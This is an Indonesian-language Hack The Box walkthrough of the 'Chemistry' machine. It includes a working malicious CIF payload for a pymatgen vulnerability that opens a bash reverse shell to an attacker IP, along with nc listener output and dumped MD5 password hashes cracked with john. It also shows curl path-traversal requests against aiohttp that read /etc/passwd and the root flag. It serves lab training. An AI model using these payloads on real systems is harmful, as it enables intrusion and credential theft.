Halo semuanya! Kali ini gw akan bahas salah satu mesin dari Hack The Box, yaitu Chemistry. Mesin ini memiliki tingkat kesulitan medium dengan fokus pada eksploitasi aplikasi CIF analyzer, password cracking, dan directory traversal untuk mendapatkan akses root.
Scanning Awal
Seperti biasa yang perlu kita lakukan diawal adalah melakukan scanning pada port target dengan menggunakan nmap.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 03:06 EST
Warning: 10.10.11.38 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.38
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Tue, 17 Dec 2024 08:07:09 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
Dari hasil scan, kita menemukan 2 port terbuka:
- Port 22: OpenSSH
- Port 5000: Aplikasi web (Chemistry CIF Analyzer)
Enumerasi Web Application
Kita bisa lihat pada hasilnya, ada port 5000 yang terbuka. Saat kita akses, kita menemukan aplikasi “Chemistry CIF Analyzer” yang memungkinkan pengguna untuk mengupload dan menganalisis file CIF (Crystallographic Information File).
Registrasi Akun
Disini kita pilih register dan gunakan kredensial bebas:
- Username: demo
- Password: demo
Analisis File Example.cif
Setelah register, aplikasi memberikan kita opsi untuk upload file. Kita coba download example file yang disediakan untuk memahami strukturnya:
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
Menemukan Vulnerability
Setelah penelitian, gw menemukan bahwa aplikasi ini kemungkinan menggunakan library pymatgen untuk mem-parsing file CIF, yang memiliki vulnerability yang sudah diketahui: CVE: GHSA-vgv8-5cpj-qj2f
Initial Foothold
Membuat Exploit
Gw membuat file CIF berbahaya dengan konten berikut untuk mengeksploitasi vulnerability:
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.xx.xx/1337 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
⚠️ Catatan: Ganti IP 10.10.xx.xx dengan IP kamu sendiri.
Mendapatkan Reverse Shell
- Setup listener terlebih dahulu:
nc -lvnp 1337 - Upload file CIF malicious ke website
- View file yang sudah diupload untuk mengeksekusi payload
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.67] from (UNKNOWN) [10.10.11.38] 41008
sh: 0: can't access tty; job control turned off
- Upgrade shell untuk mendapatkan shell yang lebih interaktif:
$ python3 -c "import pty;pty.spawn('/bin/bash')"app@chemistry:~$
Mendapatkan User Flag
Menganalisis Database
Kita mengakses folder instance dan menemukan file database:
app@chemistry:~/instance$ ls
database.db
Kita unduh database ini dengan Python HTTP server:
app@chemistry:~/instance$ python3 -m http.server 9898
python3 -m http.server 9898
Serving HTTP on 0.0.0.0 port 9898 (http://0.0.0.0:9898/) ...
10.10.14.67 - - [21/Dec/2024 13:42:42] "GET /database.db HTTP/1.1" 200 -
Saat menganalisis file database, kita menemukan daftar user beserta hash passwordnya:
('risteaxel', 'Maxel9347f9724ca083b17e39555c36fd9007'),
('fabian', 'ae2edkristel6896ba7b11a62cacffbdaded457c6d92'),
('elacia', 'Mdemofe01ce2a7fbac8fafaed7c982a04'),
('usebio', 'Mfabian4e5d71f53fdd2eabdbabb233113b5dc0'),
('tania', 'gelacia4af70c80b68267012ecdac9a7e916d1e'),
('victoria', 'usebio6cad48078d0241cca9a7b322ecd073b3'),
('peter', 'taniaa4aa55e816205dc0389591c9f82f43bb'),
('carlos', 'Mvictoriac3601ad2286a4293868ec2a4bc606ba3'),
('jobert', 'Mpeter6845c17d298d95aa942127bdad2ceb9b'),
('robert', 'Mcarlos9ad48828b0955513f7cf0f7f6510c8f8'),
('rosa', 'Mjobert3dec299e06f7ed187bac06bd3b670ab2'),
('app', 'Mrobert02fcf7cfc10adc37959fb21f06c6b467'),
('admin', 'Mrosa63ed86ee9f624c7b14f1d4f43dc251a5');
Kita juga menemukan user “rosa” di direktori /home:
app@chemistry:/home$ ls
ls
app rosa
Cracking Password Rosa
Kita fokus pada user rosa dan melakukan password cracking:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Hasil cracking memberikan kita:
- Username: rosa
- Password: unicorn
Login sebagai Rosa & Mendapatkan User Flag
ssh rosa@10.10.11.38
rosa@chemistry:~$ whoami
rosa
rosa@chemistry:~$ cat user.txt
c01b93a48a303.....
Privilege Escalation
Enumerasi dengan LinPEAS
Upload dan jalankan LinPEAS:
bash lin.sh
Dari hasil LinPEAS, kita menemukan beberapa port aktif di localhost, khususnya port 8080.
Port Forwarding
Karena port 8080 sering digunakan oleh Burpsuite, kita melakukan port forwarding ke port 8000:
ssh -L 127.0.0.1:8000:127.0.0.1:8080 rosa@10.10.11.38
Menemukan Directory Traversal Vulnerability
Kita mengakses http://127.0.0.1:8000/ dan melihat bahwa server menggunakan:
- Python/3.9
- aiohttp/3.9.1
Hal ini relevan dengan CVE-2024-23334, sebuah vulnerability directory traversal di aiohttp: Referensi
Enumerasi Direktori
Kita melakukan brute direktori:
dirsearch -u http://127.0.0.1:8000/ -t 50
[09:09:01] 403 - 14B - /assets/
[09:09:01] 403 - 14B - /assets
Eksploitasi Directory Traversal
Kita menemukan direktori /assets/ dan menggunakan path traversal untuk mengakses file system:
curl -s --path-as-is "http://127.0.0.1:8000/assets/../../../../../../../../etc/passwd"
Output menunjukkan seluruh isi file /etc/passwd, memverifikasi kerentanan tersebut.
Mendapatkan Root Flag
Akhirnya, kita mengakses root flag dengan:
curl -s --path-as-is "http://127.0.0.1:8000/assets/../../../../../../../../root/root.txt"
38d95bee3e2d016eed283.......
Kesimpulan
Chemistry adalah mesin HTB yang menarik dengan berbagai vektor serangan:
- Eksploitasi CVE di library pymatgen untuk mendapatkan initial foothold
- Password cracking untuk pivoting ke user rosa
- Directory traversal di aiohttp untuk privilege escalation
Semoga tutorial ini bermanfaat. Happy hacking!